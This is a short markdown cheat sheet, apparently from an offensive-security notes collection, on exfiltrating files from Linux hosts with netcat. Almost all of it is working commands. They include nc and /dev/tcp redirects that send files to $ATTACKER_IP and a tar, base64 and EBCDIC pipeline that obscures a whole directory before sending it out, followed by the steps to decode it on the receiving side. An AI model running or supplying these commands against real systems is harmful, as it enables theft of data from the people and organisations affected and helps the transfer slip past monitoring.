killchain-compendium/exfiltration/linux/nc.md

# Netcat

## Receiver

* RX
```sh
nc -lp 8080 > out.txt
```

## Transceiver

* TX
```sh
nc $ATTACKER_IP 8080 < in.txt
```

* TX without nc
```sh
cat <file> > /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT
```

* Have to be end manually after a while

## Compress and Encode

* Compress and encode the transmitted data
```sh
tar cfz - <directory> | base64 | dd conv=ebcdic > /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT
```

* On receiver's side, after `out.data` has been received
```sh
dd conv=ascii if=out.data | base64 -d > out.tar
tar xvf out.tar
```